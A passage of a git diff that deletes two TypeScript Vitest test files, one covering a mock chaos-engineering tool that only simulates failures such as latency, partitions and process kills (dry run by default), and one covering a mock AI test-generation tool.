- 'network-partition',
- 'network-packet-loss',
- 'cpu-stress',
- 'memory-pressure',
- 'disk-fill',
- 'process-kill',
- 'dns-failure',
- 'http-error',
- 'timeout',
- ];
-
- if (input.failureType && !validFailureTypes.includes(input.failureType)) {
- errors.push(`Invalid failureType. Must be one of: ${validFailureTypes.join(', ')}`);
- }
-
- if (input.duration !== undefined && input.duration < 1) {
- errors.push('duration must be at least 1 second');
- }
-
- if (input.duration !== undefined && input.duration > 3600) {
- errors.push('duration must not exceed 3600 seconds (1 hour)');
- }
-
- if (input.intensity !== undefined) {
- if (input.intensity < 0 || input.intensity > 1) {
- errors.push('intensity must be between 0 and 1');
- }
- }
-
- // Safety check - warn if not dry run
- if (input.dryRun === false && !input.target.includes('test')) {
- errors.push('Non-dryRun execution requires target to include "test" for safety');
- }
-
- return errors;
- }
-
- private createExperiment(input: ChaosInjectInput): ChaosExperiment {
- const id = `chaos-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
-
- return {
- id,
- target: input.target,
- failureType: input.failureType,
- duration: input.duration ?? 30,
- intensity: input.intensity ?? 0.5,
- startTime: new Date(),
- status: 'pending',
- dryRun: input.dryRun !== false,
- };
- }
-
- private simulateExperiment(experiment: ChaosExperiment): ChaosInjectOutput {
- experiment.status = 'completed';
- experiment.endTime = new Date();
-
- // Generate simulated metrics
- experiment.metrics = this.generateSimulatedMetrics(experiment);
-
- return {
- success: true,
- experiment,
- impact: this.assessImpact(experiment),
- simulation: {
- description: this.getSimulationDescription(experiment),
- expectedBehavior: this.getExpectedBehavior(experiment),
- recoverySteps: this.getRecoverySteps(experiment),
- },
- };
- }
-
- private executeExperiment(experiment: ChaosExperiment): ChaosInjectOutput {
- // In real implementation, this would inject actual chaos
- // For testing purposes, we treat it the same as simulation
- experiment.status = 'running';
- this.activeExperiments.set(experiment.id, experiment);
-
- return {
- success: true,
- experiment,
- impact: this.assessImpact(experiment),
- };
- }
-
- private generateSimulatedMetrics(experiment: ChaosExperiment): ChaosMetrics {
- const baseResponseTime = 100; // ms
- const baseErrorRate = 0.01; // 1%
- const baseThroughput = 1000; // req/s
-
- // Calculate impact based on intensity
- const latencyMultiplier = 1 + experiment.intensity * this.getLatencyFactor(experiment.failureType);
- const errorMultiplier = 1 + experiment.intensity * this.getErrorFactor(experiment.failureType);
- const throughputMultiplier = 1 - experiment.intensity * this.getThroughputFactor(experiment.failureType);
-
- return {
- preExperiment: {
- responseTime: baseResponseTime,
- errorRate: baseErrorRate,
- throughput: baseThroughput,
- },
- duringExperiment: {
- responseTime: baseResponseTime * latencyMultiplier,
- errorRate: Math.min(baseErrorRate * errorMultiplier, 1),
- throughput: baseThroughput * throughputMultiplier,
- },
- postExperiment: {
- responseTime: baseResponseTime * 1.1, // Slight recovery overhead
- errorRate: baseErrorRate,
- throughput: baseThroughput * 0.95,
- recoveryTime: experiment.duration * 0.2 * 1000, // 20% of experiment duration
- },
- };
- }
-
- private getLatencyFactor(failureType: ChaosFailureType): number {
- const factors: Record<ChaosFailureType, number> = {
- 'network-latency': 10,
- 'network-partition': 50,
- 'network-packet-loss': 5,
- 'cpu-stress': 3,
- 'memory-pressure': 2,
- 'disk-fill': 4,
- 'process-kill': 100,
- 'dns-failure': 20,
- 'http-error': 1,
- 'timeout': 30,
- };
- return factors[failureType] ?? 1;
- }
-
- private getErrorFactor(failureType: ChaosFailureType): number {
- const factors: Record<ChaosFailureType, number> = {
- 'network-latency': 2,
- 'network-partition': 100,
- 'network-packet-loss': 20,
- 'cpu-stress': 5,
- 'memory-pressure': 10,
- 'disk-fill': 50,
- 'process-kill': 100,
- 'dns-failure': 100,
- 'http-error': 50,
- 'timeout': 30,
- };
- return factors[failureType] ?? 1;
- }
-
- private getThroughputFactor(failureType: ChaosFailureType): number {
- const factors: Record<ChaosFailureType, number> = {
- 'network-latency': 0.3,
- 'network-partition': 0.9,
- 'network-packet-loss': 0.4,
- 'cpu-stress': 0.5,
- 'memory-pressure': 0.4,
- 'disk-fill': 0.6,
- 'process-kill': 1,
- 'dns-failure': 0.8,
- 'http-error': 0.5,
- 'timeout': 0.7,
- };
- return factors[failureType] ?? 0.5;
- }
-
- private assessImpact(experiment: ChaosExperiment): ChaosInjectOutput['impact'] {
- const affectedServices = this.getAffectedServices(experiment);
- const estimatedDowntime = this.estimateDowntime(experiment);
- const riskLevel = this.calculateRiskLevel(experiment);
-
- return {
- affectedServices,
- estimatedDowntime,
- riskLevel,
- };
- }
-
- private getAffectedServices(experiment: ChaosExperiment): string[] {
- // Mock affected services based on target
- const services = [experiment.target];
-
- if (experiment.failureType === 'network-partition') {
- services.push(`${experiment.target}-cache`, `${experiment.target}-db`);
- } else if (experiment.failureType === 'dns-failure') {
- services.push('api-gateway', 'service-discovery');
- }
-
- return services;
- }
-
- private estimateDowntime(experiment: ChaosExperiment): string {
- const baseDuration = experiment.duration;
- const recoveryTime = Math.ceil(baseDuration * 0.2);
- const totalTime = baseDuration + recoveryTime;
-
- if (totalTime < 60) {
- return `${totalTime} seconds`;
- } else {
- return `${Math.ceil(totalTime / 60)} minutes`;
- }
- }
-
- private calculateRiskLevel(experiment: ChaosExperiment): 'low' | 'medium' | 'high' | 'critical' {
- const highRiskTypes: ChaosFailureType[] = ['process-kill', 'disk-fill', 'network-partition'];
- const criticalTypes: ChaosFailureType[] = ['process-kill'];
-
- if (criticalTypes.includes(experiment.failureType) && experiment.intensity > 0.8) {
- return 'critical';
- }
- if (highRiskTypes.includes(experiment.failureType)) {
- return 'high';
- }
- if (experiment.intensity > 0.7) {
- return 'high';
- }
- if (experiment.intensity > 0.4) {
- return 'medium';
- }
- return 'low';
- }
-
- private getSimulationDescription(experiment: ChaosExperiment): string {
- const descriptions: Record<ChaosFailureType, string> = {
- 'network-latency': `Simulate ${experiment.intensity * 1000}ms latency on ${experiment.target}`,
- 'network-partition': `Simulate network partition isolating ${experiment.target}`,
- 'network-packet-loss': `Simulate ${experiment.intensity * 100}% packet loss on ${experiment.target}`,
- 'cpu-stress': `Simulate ${experiment.intensity * 100}% CPU stress on ${experiment.target}`,
- 'memory-pressure': `Simulate memory pressure at ${experiment.intensity * 100}% on ${experiment.target}`,
- 'disk-fill': `Simulate disk fill at ${experiment.intensity * 100}% on ${experiment.target}`,
- 'process-kill': `Simulate process termination on ${experiment.target}`,
- 'dns-failure': `Simulate DNS resolution failure for ${experiment.target}`,
- 'http-error': `Simulate HTTP 5xx errors on ${experiment.target}`,
- 'timeout': `Simulate request timeouts on ${experiment.target}`,
- };
- return descriptions[experiment.failureType];
- }
-
- private getExpectedBehavior(experiment: ChaosExperiment): string {
- const behaviors: Record<ChaosFailureType, string> = {
- 'network-latency': 'Requests will experience increased latency, potentially triggering timeouts',
- 'network-partition': 'Service will be unreachable, circuit breakers should activate',
- 'network-packet-loss': 'Intermittent failures and retries expected',
- 'cpu-stress': 'Service response time degradation, potential autoscaling',
- 'memory-pressure': 'Potential OOM kills, service restarts',
- 'disk-fill': 'Write operations will fail, logs may be lost',
- 'process-kill': 'Service unavailable until restart, dependent services affected',
- 'dns-failure': 'Service discovery failures, connection timeouts',
- 'http-error': 'Dependent services receive error responses',
- 'timeout': 'Requests timeout, retry logic exercised',
- };
- return behaviors[experiment.failureType];
- }
-
- private getRecoverySteps(experiment: ChaosExperiment): string[] {
- const commonSteps = [
- 'Monitor service health dashboards',
- 'Check alerting systems triggered',
- 'Verify automatic recovery mechanisms',
- ];
-
- const typeSpecificSteps: Record<ChaosFailureType, string[]> = {
- 'network-latency': ['Wait for latency injection to end', 'Verify connection pool recovery'],
- 'network-partition': ['Restore network connectivity', 'Allow cluster to re-sync'],
- 'network-packet-loss': ['End packet loss injection', 'Verify retry mechanisms recovered'],
- 'cpu-stress': ['Stop stress process', 'Allow CPU to return to normal'],
- 'memory-pressure': ['Release memory pressure', 'Verify no OOM restarts occurred'],
- 'disk-fill': ['Clean up disk space', 'Verify write operations resume'],
- 'process-kill': ['Wait for automatic restart', 'Verify health checks pass'],
- 'dns-failure': ['Restore DNS resolution', 'Clear DNS caches'],
- 'http-error': ['Stop error injection', 'Verify normal responses resume'],
- 'timeout': ['End timeout injection', 'Clear connection pools'],
- };
-
- return [...commonSteps, ...typeSpecificSteps[experiment.failureType]];
- }
-
- private createErrorResponse(errors: string[]): ChaosInjectOutput {
- return {
- success: false,
- experiment: {
- id: 'error',
- target: '',
- failureType: 'timeout',
- duration: 0,
- intensity: 0,
- startTime: new Date(),
- status: 'failed',
- dryRun: true,
- },
- impact: {
- affectedServices: [],
- estimatedDowntime: '0 seconds',
- riskLevel: 'low',
- },
- errors,
- };
- }
-}
-
-// ============================================================================
-// Tests
-// ============================================================================
-
-describe('ChaosInjectTool', () => {
- let tool: MockChaosInjectTool;
-
- beforeEach(() => {
- tool = new MockChaosInjectTool();
- });
-
- describe('input validation', () => {
- it('should require target', async () => {
- const result = await tool.execute({
- target: '',
- failureType: 'network-latency',
- });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('target is required');
- });
-
- it('should require failureType', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: '' as ChaosFailureType,
- });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('failureType is required');
- });
-
- it('should validate failureType', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'invalid-type' as ChaosFailureType,
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('Invalid failureType'))).toBe(true);
- });
-
- it('should validate duration minimum', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- duration: 0,
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('duration'))).toBe(true);
- });
-
- it('should validate duration maximum', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- duration: 7200,
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('duration'))).toBe(true);
- });
-
- it('should validate intensity range', async () => {
- const negativeResult = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: -0.1,
- });
-
- const overResult = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 1.5,
- });
-
- expect(negativeResult.success).toBe(false);
- expect(overResult.success).toBe(false);
- });
-
- it('should require test in target name for non-dryRun', async () => {
- const result = await tool.execute({
- target: 'production-service',
- failureType: 'network-latency',
- dryRun: false,
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('test'))).toBe(true);
- });
- });
-
- describe('dry run mode (default)', () => {
- it('should default to dryRun mode', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.success).toBe(true);
- expect(result.experiment.dryRun).toBe(true);
- });
-
- it('should complete simulation immediately', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.experiment.status).toBe('completed');
- expect(result.experiment.endTime).toBeDefined();
- });
-
- it('should include simulation details', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.simulation).toBeDefined();
- expect(result.simulation?.description).toBeTruthy();
- expect(result.simulation?.expectedBehavior).toBeTruthy();
- expect(result.simulation?.recoverySteps).toBeDefined();
- });
-
- it('should generate simulated metrics', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.5,
- });
-
- expect(result.experiment.metrics).toBeDefined();
- expect(result.experiment.metrics?.preExperiment).toBeDefined();
- expect(result.experiment.metrics?.duringExperiment).toBeDefined();
- });
- });
-
- describe('failure types', () => {
- const failureTypes: ChaosFailureType[] = [
- 'network-latency',
- 'network-partition',
- 'network-packet-loss',
- 'cpu-stress',
- 'memory-pressure',
- 'disk-fill',
- 'process-kill',
- 'dns-failure',
- 'http-error',
- 'timeout',
- ];
-
- for (const failureType of failureTypes) {
- it(`should handle ${failureType} failure type`, async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType,
- dryRun: true,
- });
-
- expect(result.success).toBe(true);
- expect(result.experiment.failureType).toBe(failureType);
- expect(result.simulation?.description).toContain('test-service');
- });
- }
- });
-
- describe('experiment creation', () => {
- it('should generate unique experiment ID', async () => {
- const result1 = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- const result2 = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result1.experiment.id).not.toBe(result2.experiment.id);
- });
-
- it('should use default duration of 30 seconds', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.experiment.duration).toBe(30);
- });
-
- it('should use default intensity of 0.5', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.experiment.intensity).toBe(0.5);
- });
-
- it('should use specified duration', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- duration: 60,
- });
-
- expect(result.experiment.duration).toBe(60);
- });
-
- it('should use specified intensity', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.8,
- });
-
- expect(result.experiment.intensity).toBe(0.8);
- });
- });
-
- describe('impact assessment', () => {
- it('should list affected services', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.impact.affectedServices).toContain('test-service');
- });
-
- it('should include dependent services for network-partition', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-partition',
- });
-
- expect(result.impact.affectedServices.length).toBeGreaterThan(1);
- });
-
- it('should estimate downtime', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- duration: 30,
- });
-
- expect(result.impact.estimatedDowntime).toMatch(/\d+ (seconds|minutes)/);
- });
-
- it('should calculate risk level based on intensity', async () => {
- const lowIntensity = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.3,
- });
-
- const highIntensity = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.8,
- });
-
- expect(['low', 'medium']).toContain(lowIntensity.impact.riskLevel);
- expect(['high', 'critical']).toContain(highIntensity.impact.riskLevel);
- });
-
- it('should consider failure type in risk assessment', async () => {
- const latency = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.5,
- });
-
- const partition = await tool.execute({
- target: 'test-service',
- failureType: 'network-partition',
- intensity: 0.5,
- });
-
- // Network partition is inherently more risky
- const riskOrder = { low: 0, medium: 1, high: 2, critical: 3 };
- expect(riskOrder[partition.impact.riskLevel]).toBeGreaterThanOrEqual(
- riskOrder[latency.impact.riskLevel]
- );
- });
- });
-
- describe('metrics simulation', () => {
- it('should show degraded metrics during experiment', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.5,
- });
-
- const metrics = result.experiment.metrics!;
-
- expect(metrics.duringExperiment.responseTime).toBeGreaterThan(
- metrics.preExperiment.responseTime
- );
- });
-
- it('should show recovery in post-experiment metrics', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- intensity: 0.5,
- });
-
- const metrics = result.experiment.metrics!;
-
- expect(metrics.postExperiment?.responseTime).toBeLessThan(
- metrics.duringExperiment.responseTime
- );
- expect(metrics.postExperiment?.recoveryTime).toBeGreaterThan(0);
- });
-
- it('should scale impact with intensity', async () => {
- const lowIntensity = await tool.execute({
- target: 'test-service',
- failureType: 'cpu-stress',
- intensity: 0.2,
- });
-
- const highIntensity = await tool.execute({
- target: 'test-service',
- failureType: 'cpu-stress',
- intensity: 0.8,
- });
-
- expect(highIntensity.experiment.metrics!.duringExperiment.responseTime).toBeGreaterThan(
- lowIntensity.experiment.metrics!.duringExperiment.responseTime
- );
- });
- });
-
- describe('recovery steps', () => {
- it('should include common recovery steps', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- });
-
- expect(result.simulation?.recoverySteps.some(s => s.includes('Monitor'))).toBe(true);
- });
-
- it('should include failure-type specific steps', async () => {
- const dnsResult = await tool.execute({
- target: 'test-service',
- failureType: 'dns-failure',
- });
-
- expect(dnsResult.simulation?.recoverySteps.some((s) => s.includes('DNS'))).toBe(true);
- });
- });
-});
-
-describe('ChaosInjectTool Safety', () => {
- let tool: MockChaosInjectTool;
-
- beforeEach(() => {
- tool = new MockChaosInjectTool();
- });
-
- it('should always default to dry run', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'process-kill',
- intensity: 1.0,
- });
-
- expect(result.experiment.dryRun).toBe(true);
- });
-
- it('should prevent non-test targets in live mode', async () => {
- const result = await tool.execute({
- target: 'my-service',
- failureType: 'network-latency',
- dryRun: false,
- });
-
- expect(result.success).toBe(false);
- });
-
- it('should allow test targets in live mode', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- dryRun: false,
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should limit maximum duration', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- duration: 10000, // Way too long
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('duration'))).toBe(true);
- });
-});
-
-describe('ChaosInjectTool Experiment Management', () => {
- let tool: MockChaosInjectTool;
-
- beforeEach(() => {
- tool = new MockChaosInjectTool();
- });
-
- it('should track active experiments in live mode', async () => {
- await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- dryRun: false,
- });
-
- const active = tool.getActiveExperiments();
- expect(active.length).toBe(1);
- });
-
- it('should stop active experiment', async () => {
- const result = await tool.execute({
- target: 'test-service',
- failureType: 'network-latency',
- dryRun: false,
- });
-
- const stopped = await tool.stopExperiment(result.experiment.id);
- expect(stopped).toBe(true);
-
- const active = tool.getActiveExperiments();
- expect(active.length).toBe(0);
- });
-
- it('should return false when stopping non-existent experiment', async () => {
- const stopped = await tool.stopExperiment('non-existent-id');
- expect(stopped).toBe(false);
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/tools/generate-tests.test.ts b/v3/plugins/agentic-qe/__tests__/tools/generate-tests.test.ts
deleted file mode 100644
index 38f939ebe5..0000000000
--- a/v3/plugins/agentic-qe/__tests__/tools/generate-tests.test.ts
+++ /dev/null
@@ -1,546 +0,0 @@
-/**
- * Test Generation Tool Tests
- *
- * Tests for the aqe/generate-tests MCP tool that provides
- * AI-powered test generation across different paradigms.
- */
-
-import { describe, it, expect, beforeEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Types
-// ============================================================================
-
-interface GenerateTestsInput {
- targetPath: string;
- testType?: 'unit' | 'integration' | 'e2e' | 'property' | 'mutation';
- framework?: 'vitest' | 'jest' | 'mocha' | 'pytest';
- coverage?: {
- target?: number;
- focusGaps?: boolean;
- excludePatterns?: string[];
- };
- style?: 'london' | 'chicago';
- options?: {
- includeEdgeCases?: boolean;
- includeMocks?: boolean;
- includeFixtures?: boolean;
- maxTestsPerFunction?: number;
- };
-}
-
-interface GenerateTestsOutput {
- success: boolean;
- tests: GeneratedTest[];
- summary: {
- totalTests: number;
- targetCoverage: number;
- estimatedCoverage: number;
- testTypes: Record<string, number>;
- };
- errors?: string[];
-}
-
-interface GeneratedTest {
- name: string;
- description: string;
- code: string;
- type: string;
- targetFunction?: string;
- assertions: number;
-}
-
-// ============================================================================
-// Mock Implementation
-// ============================================================================
-
-class MockGenerateTestsTool {
- private config: {
- defaultFramework: string;
- defaultStyle: string;
- maxTestsPerFunction: number;
- };
-
- constructor(config: Partial<typeof MockGenerateTestsTool.prototype.config> = {}) {
- this.config = {
- defaultFramework: 'vitest',
- defaultStyle: 'london',
- maxTestsPerFunction: 5,
- ...config,
- };
- }
-
- async execute(input: GenerateTestsInput): Promise<GenerateTestsOutput> {
- // Validate input
- const errors = this.validateInput(input);
- if (errors.length > 0) {
- return {
- success: false,
- tests: [],
- summary: {
- totalTests: 0,
- targetCoverage: 0,
- estimatedCoverage: 0,
- testTypes: {},
- },
- errors,
- };
- }
-
- // Generate mock tests based on input
- const tests = this.generateTests(input);
-
- return {
- success: true,
- tests,
- summary: {
- totalTests: tests.length,
- targetCoverage: input.coverage?.target ?? 80,
- estimatedCoverage: Math.min(tests.length * 15, 95),
- testTypes: this.countTestTypes(tests),
- },
- };
- }
-
- private validateInput(input: GenerateTestsInput): string[] {
- const errors: string[] = [];
-
- if (!input.targetPath) {
- errors.push('targetPath is required');
- }
-
- if (input.targetPath && !input.targetPath.match(/\.(ts|js|tsx|jsx|py)$/)) {
- errors.push('targetPath must be a source file (.ts, .js, .tsx, .jsx, .py)');
- }
-
- if (input.coverage?.target && (input.coverage.target < 0 || input.coverage.target > 100)) {
- errors.push('coverage.target must be between 0 and 100');
- }
-
- if (input.options?.maxTestsPerFunction !== undefined && input.options.maxTestsPerFunction < 1) {
- errors.push('options.maxTestsPerFunction must be at least 1');
- }
-
- return errors;
- }
-
- private generateTests(input: GenerateTestsInput): GeneratedTest[] {
- const tests: GeneratedTest[] = [];
- const framework = input.framework ?? this.config.defaultFramework;
- const testType = input.testType ?? 'unit';
- const maxTests = input.options?.maxTestsPerFunction ?? this.config.maxTestsPerFunction;
-
- // Generate mock tests based on type
- const baseTestCount = Math.min(maxTests, 3);
-
- for (let i = 0; i < baseTestCount; i++) {
- tests.push({
- name: `should handle case ${i + 1}`,
- description: `Test case ${i + 1} for ${input.targetPath}`,
- code: this.generateTestCode(framework, testType, i),
- type: testType,
- targetFunction: `function${i + 1}`,
- assertions: i + 1,
- });
- }
-
- // Add edge case tests if requested
- if (input.options?.includeEdgeCases) {
- tests.push({
- name: 'should handle empty input',
- description: 'Edge case: empty input handling',
- code: this.generateTestCode(framework, testType, -1, 'empty'),
- type: 'edge-case',
- assertions: 1,
- });
-
- tests.push({
- name: 'should handle null/undefined',
- description: 'Edge case: null/undefined handling',
- code: this.generateTestCode(framework, testType, -1, 'null'),
- type: 'edge-case',
- assertions: 2,
- });
- }
-
- return tests;
- }
-
- private generateTestCode(
- framework: string,
- testType: string,
- index: number,
- variant?: string
- ): string {
- const testFn = framework === 'jest' || framework === 'vitest' ? 'it' : 'test';
- const describeFn = 'describe';
-
- if (variant === 'empty') {
- return `${testFn}('should handle empty input', () => {
- expect(() => processInput('')).not.toThrow();
- expect(processInput('')).toEqual([]);
-});`;
- }
-
- if (variant === 'null') {
- return `${testFn}('should handle null/undefined', () => {
- expect(() => processInput(null)).toThrow('Invalid input');
- expect(() => processInput(undefined)).toThrow('Invalid input');
-});`;
- }
-
- return `${testFn}('should handle case ${index + 1}', async () => {
- // Arrange
- const input = createTestInput(${index});
- const expected = createExpectedOutput(${index});
-
- // Act
- const result = await processFunction(input);
-
- // Assert
- expect(result).toEqual(expected);
-});`;
- }
-
- private countTestTypes(tests: GeneratedTest[]): Record<string, number> {
- const counts: Record<string, number> = {};
-
- for (const test of tests) {
- counts[test.type] = (counts[test.type] ?? 0) + 1;
- }
-
- return counts;
- }
-}
-
-// ============================================================================
-// Tests
-// ============================================================================
-
-describe('GenerateTestsTool', () => {
- let tool: MockGenerateTestsTool;
-
- beforeEach(() => {
- tool = new MockGenerateTestsTool();
- });
-
- describe('input validation', () => {
- it('should require targetPath', async () => {
- const result = await tool.execute({ targetPath: '' });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('targetPath is required');
- });
-
- it('should validate file extension', async () => {
- const result = await tool.execute({ targetPath: '/path/to/file.txt' });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('source file'))).toBe(true);
- });
-
- it('should accept valid TypeScript files', async () => {
- const result = await tool.execute({ targetPath: '/src/auth.ts' });
-
- expect(result.success).toBe(true);
- });
-
- it('should accept valid JavaScript files', async () => {
- const result = await tool.execute({ targetPath: '/src/utils.js' });
-
- expect(result.success).toBe(true);
- });
-
- it('should accept valid React files', async () => {
- const tsxResult = await tool.execute({ targetPath: '/src/Component.tsx' });
- const jsxResult = await tool.execute({ targetPath: '/src/Component.jsx' });
-
- expect(tsxResult.success).toBe(true);
- expect(jsxResult.success).toBe(true);
- });
-
- it('should accept valid Python files', async () => {
- const result = await tool.execute({ targetPath: '/src/module.py' });
-
- expect(result.success).toBe(true);
- });
-
- it('should validate coverage target range', async () => {
- const negativeResult = await tool.execute({
- targetPath: '/src/test.ts',
- coverage: { target: -10 },
- });
-
- const overResult = await tool.execute({
- targetPath: '/src/test.ts',
- coverage: { target: 150 },
- });
-
- expect(negativeResult.success).toBe(false);
- expect(overResult.success).toBe(false);
- });
-
- it('should validate maxTestsPerFunction', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- options: { maxTestsPerFunction: 0 },
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('maxTestsPerFunction'))).toBe(true);
- });
- });
-
- describe('test generation', () => {
- it('should generate tests for valid input', async () => {
- const result = await tool.execute({ targetPath: '/src/auth.ts' });
-
- expect(result.success).toBe(true);
- expect(result.tests.length).toBeGreaterThan(0);
- });
-
- it('should use default framework (vitest)', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.success).toBe(true);
- // Check test code contains vitest syntax
- expect(result.tests[0].code).toContain('expect(');
- });
-
- it('should respect specified framework', async () => {
- const vitestResult = await tool.execute({
- targetPath: '/src/test.ts',
- framework: 'vitest',
- });
-
- const jestResult = await tool.execute({
- targetPath: '/src/test.ts',
- framework: 'jest',
- });
-
- expect(vitestResult.success).toBe(true);
- expect(jestResult.success).toBe(true);
- });
-
- it('should generate unit tests by default', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.summary.testTypes.unit).toBeGreaterThan(0);
- });
-
- it('should generate specified test type', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- testType: 'integration',
- });
-
- expect(result.tests.every((t) => t.type === 'integration')).toBe(true);
- });
-
- it('should include edge case tests when requested', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- options: { includeEdgeCases: true },
- });
-
- const edgeCases = result.tests.filter((t) => t.type === 'edge-case');
- expect(edgeCases.length).toBeGreaterThan(0);
- });
-
- it('should respect maxTestsPerFunction', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- options: { maxTestsPerFunction: 2 },
- });
-
- // Should generate at most 2 tests (not counting edge cases)
- const nonEdgeCases = result.tests.filter((t) => t.type !== 'edge-case');
- expect(nonEdgeCases.length).toBeLessThanOrEqual(2);
- });
- });
-
- describe('summary generation', () => {
- it('should include test count in summary', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.summary.totalTests).toBe(result.tests.length);
- });
-
- it('should include target coverage', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- coverage: { target: 90 },
- });
-
- expect(result.summary.targetCoverage).toBe(90);
- });
-
- it('should use default coverage target of 80', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.summary.targetCoverage).toBe(80);
- });
-
- it('should estimate coverage based on test count', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- options: { includeEdgeCases: true },
- });
-
- expect(result.summary.estimatedCoverage).toBeGreaterThan(0);
- expect(result.summary.estimatedCoverage).toBeLessThanOrEqual(95);
- });
-
- it('should categorize tests by type', async () => {
- const result = await tool.execute({
- targetPath: '/src/test.ts',
- options: { includeEdgeCases: true },
- });
-
- expect(result.summary.testTypes).toHaveProperty('unit');
- expect(result.summary.testTypes).toHaveProperty('edge-case');
- });
- });
-
- describe('generated test quality', () => {
- it('should generate tests with descriptive names', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- for (const test of result.tests) {
- expect(test.name).toBeTruthy();
- expect(test.name.length).toBeGreaterThan(5);
- }
- });
-
- it('should generate tests with descriptions', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- for (const test of result.tests) {
- expect(test.description).toBeTruthy();
- }
- });
-
- it('should generate tests with code', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- for (const test of result.tests) {
- expect(test.code).toBeTruthy();
- expect(test.code).toContain('expect');
- }
- });
-
- it('should include assertion count', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- for (const test of result.tests) {
- expect(test.assertions).toBeGreaterThan(0);
- }
- });
-
- it('should follow Arrange-Act-Assert pattern', async () => {
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- const normalTests = result.tests.filter((t) => t.type !== 'edge-case');
- for (const test of normalTests) {
- expect(test.code).toContain('// Arrange');
- expect(test.code).toContain('// Act');
- expect(test.code).toContain('// Assert');
- }
- });
- });
-});
-
-describe('GenerateTestsTool Configuration', () => {
- it('should use custom default framework', async () => {
- const tool = new MockGenerateTestsTool({ defaultFramework: 'jest' });
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.success).toBe(true);
- });
-
- it('should use custom default style', async () => {
- const tool = new MockGenerateTestsTool({ defaultStyle: 'chicago' });
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- expect(result.success).toBe(true);
- });
-
- it('should use custom maxTestsPerFunction', async () => {
- const tool = new MockGenerateTestsTool({ maxTestsPerFunction: 10 });
- const result = await tool.execute({ targetPath: '/src/test.ts' });
-
- // Should generate more tests with higher limit
- expect(result.success).toBe(true);
- });
-});
-
-describe('GenerateTestsTool Edge Cases', () => {
- let tool: MockGenerateTestsTool;
-
- beforeEach(() => {
- tool = new MockGenerateTestsTool();
- });
-
- it('should handle paths with special characters', async () => {
- const result = await tool.execute({
- targetPath: '/src/my-component.test.ts',
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle deeply nested paths', async () => {
- const result = await tool.execute({
- targetPath: '/src/features/auth/components/LoginForm.tsx',
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle coverage with focus gaps', async () => {
